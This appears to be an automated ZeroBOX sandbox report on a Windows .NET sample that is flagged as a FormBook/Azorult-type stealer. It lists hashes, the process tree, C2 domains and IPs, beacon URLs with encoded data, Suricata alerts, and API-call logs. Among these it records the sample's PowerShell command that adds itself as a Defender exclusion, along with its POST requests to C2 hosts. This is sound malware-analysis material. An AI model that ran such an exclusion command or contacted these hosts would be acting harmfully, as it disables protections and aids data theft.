Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Sept. 7, 2024, 5 p.m.	Sept. 7, 2024, 5:08 p.m.

Size	783.5KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`a6d68979cd445f96c05d3a8a5aed1a50`
SHA256	`cf929da9bb2a7f0efc647e1e2368f55ff4ade12b648e2d89a6495ada470ec731`
CRC32	`478DDF80`
ssdeep	`24576:U1Uobybt+owsF2sWgwT9tn+IY6GsEZ0bXWzlG:TZPesm52qF7WRG`
PDB Path	ePpt.pdb
Yara	Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature Is_DotNET_EXE - (no description) Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult IsPE32 - (no description)

BroyVyVPFAbkbpg.exe "C:\Users\test22\AppData\Local\Temp\BroyVyVPFAbkbpg.exe"
2064
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\BroyVyVPFAbkbpg.exe"
  2564
- BroyVyVPFAbkbpg.exe "C:\Users\test22\AppData\Local\Temp\BroyVyVPFAbkbpg.exe"
  2612
DWWIN.EXE "C:\Windows\SysWOW64\DWWIN.EXE"
2876
- firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
  3068
explorer.exe C:\Windows\Explorer.EXE
1236

Name	Response	Post-Analysis Lookup
www.balclub.top	A 63.250.47.40	63.250.47.40
www.kxshopmr.store
www.top10countdown.info	A 15.197.148.33 CNAME top10countdown.info A 3.33.130.190	15.197.148.33
www.erhgtfd.buzz	A 96.126.123.244 A 72.14.185.43 A 45.33.30.197 A 45.33.23.183 A 45.79.19.196 A 198.58.118.167 A 72.14.178.174 A 45.33.2.79 A 45.56.79.23 A 45.33.20.235 A 45.33.18.44 A 173.255.194.134	45.33.30.197
www.angelenterprise.biz	A 3.33.130.190 CNAME angelenterprise.biz A 15.197.148.33	3.33.130.190
www.sqlite.org	A 45.33.6.223	45.33.6.223

IP Address	Status	Action
15.197.148.33	Active	Moloch
164.124.101.2	Active	Moloch
3.33.130.190	Active	Moloch
45.33.30.197	Active	Moloch
45.33.6.223	Active	Moloch
63.250.47.40	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49169 -> 45.33.30.197:80	2032991	ET INFO HTTP Request to a *.buzz domain	Potentially Bad Traffic
UDP 192.168.56.103:64178 -> 164.124.101.2:53	2023883	ET DNS Query to a *.top domain - Likely Hostile	Potentially Bad Traffic
TCP 192.168.56.103:49170 -> 45.33.30.197:80	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	Malware Command and Control Activity Detected
TCP 192.168.56.103:49170 -> 45.33.30.197:80	2032991	ET INFO HTTP Request to a *.buzz domain	Potentially Bad Traffic
TCP 192.168.56.103:49179 -> 63.250.47.40:80	2023882	ET INFO HTTP Request to a *.top domain	Potentially Bad Traffic
TCP 192.168.56.103:49178 -> 15.197.148.33:80	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	Malware Command and Control Activity Detected
UDP 192.168.56.103:64530 -> 164.124.101.2:53	2027863	ET INFO Observed DNS Query to .biz TLD	Potentially Bad Traffic
TCP 192.168.56.103:49181 -> 63.250.47.40:80	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Queries for the computername (6 events)

Time & API	Arguments	Status	Return
GetComputerNameW Sept. 7, 2024, 5:01 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 7, 2024, 5:01 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 7, 2024, 5:01 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 7, 2024, 5:01 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 7, 2024, 5:01 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 7, 2024, 5:01 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (3 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 7, 2024, 5 p.m.			0	0
IsDebuggerPresent Sept. 7, 2024, 5 p.m.			0	0
IsDebuggerPresent Sept. 7, 2024, 5:01 p.m.			0	0

Command line console output was observed (9 events)

Time & API	Arguments	Status	Return
WriteConsoleW Sept. 7, 2024, 5:01 p.m.	buffer: The term 'Add-MpPreference' is not recognized as the name of a cmdlet, function console_handle: 0x00000023	1	1
WriteConsoleW Sept. 7, 2024, 5:01 p.m.	buffer: , script file, or operable program. Check the spelling of the name, or if a pat console_handle: 0x0000002f	1	1
WriteConsoleW Sept. 7, 2024, 5:01 p.m.	buffer: h was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW Sept. 7, 2024, 5:01 p.m.	buffer: At line:1 char:17 console_handle: 0x00000047	1	1
WriteConsoleW Sept. 7, 2024, 5:01 p.m.	buffer: + Add-MpPreference <<<< -ExclusionPath C:\Users\test22\AppData\Local\Temp\Broy console_handle: 0x00000053	1	1
WriteConsoleW Sept. 7, 2024, 5:01 p.m.	buffer: VyVPFAbkbpg.exe console_handle: 0x0000005f	1	1
WriteConsoleW Sept. 7, 2024, 5:01 p.m.	buffer: + CategoryInfo : ObjectNotFound: (Add-MpPreference:String) [], Co console_handle: 0x0000006b	1	1
WriteConsoleW Sept. 7, 2024, 5:01 p.m.	buffer: mmandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW Sept. 7, 2024, 5:01 p.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000083	1	1

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030da58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dad8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dad8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dad8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030e358 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030e358 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030e358 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030e358 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030e358 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030e358 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dad8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dad8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dad8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030e418 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dc98 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dfd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dfd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dfd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dfd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dfd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dfd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dfd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 7, 2024, 5:01 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0030dfd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

This executable has a PDB path (1 event)

pdb_path

ePpt.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 7, 2024, 5 p.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Performs some HTTP requests (8 events)

request	POST http://www.erhgtfd.buzz/t10y/
request	GET http://www.erhgtfd.buzz/t10y/?XV8-Hz4=3aJdPJ1a4NI1qu7022ZDLsImYKXculCDO9eSpcnjY+C3XioScyu5qDWRAXoXYiiK/wxdMfYlyHmeWBY6mNj4y2sNHI32v3Z3h9LTFwVjjnhNagd2ZGKm57KEOaM2or23YfUkf78=&6J=y28pNUsNSBrnl
request	GET http://www.sqlite.org/2022/sqlite-dll-win32-x86-3380000.zip
request	POST http://www.top10countdown.info/9iyi/
request	GET http://www.top10countdown.info/9iyi/?XV8-Hz4=TEW93add3/KADuasFVG+dG9MzmMDmk9DxIOIoqonj3JZHbyqUe8ztsbPa/1SzYtypAwxOGB/4yWtN2fN9AzrDYT25iswFDz0kbjUqI5iK6J1mBTFWIVA7pA4sKOe/YVmttHIQcg=&6J=y28pNUsNSBrnl
request	POST http://www.balclub.top/n6ow/
request	GET http://www.balclub.top/n6ow/?XV8-Hz4=38ktoOAqlsdBNOwtGPeqpwbXg8XZDhh9hx/T15WN4O7jP341BwXDLasP6fmFWq2yAUzs8E3bhhhZPnVzp6zBa61nEQGZ0KivGuaAZgdniVgPlbL6HIHWJWR+jF5IN+RJ3d250ww=&6J=y28pNUsNSBrnl
request	POST http://www.angelenterprise.biz/7zy1/

Sends data using the HTTP POST Method (4 events)

request	POST http://www.erhgtfd.buzz/t10y/
request	POST http://www.top10countdown.info/9iyi/
request	POST http://www.balclub.top/n6ow/
request	POST http://www.angelenterprise.biz/7zy1/

Resolves a suspicious Top Level Domain (TLD) (1 event)

domain

www.balclub.top

description

Generic top level domain TLD

Allocates read-write-execute memory (usually to unpack itself) (50 out of 178 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 1638400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00780000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f31000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f32000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 589824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004d0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00520000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003b2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003eb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003e7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003cc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00660000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003ba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 12288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00661000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003d6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef58000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003bc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00664000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00665000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00666000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003cd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00667000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003ce000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00668000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00669000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0066a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0066b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0066c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0066d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0066e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2064 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0066f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2564 region_size: 2162688 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02700000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2564 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 7, 2024, 5:01 p.m.	process_identifier: 2564 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd1000 process_handle: 0xffffffff	1
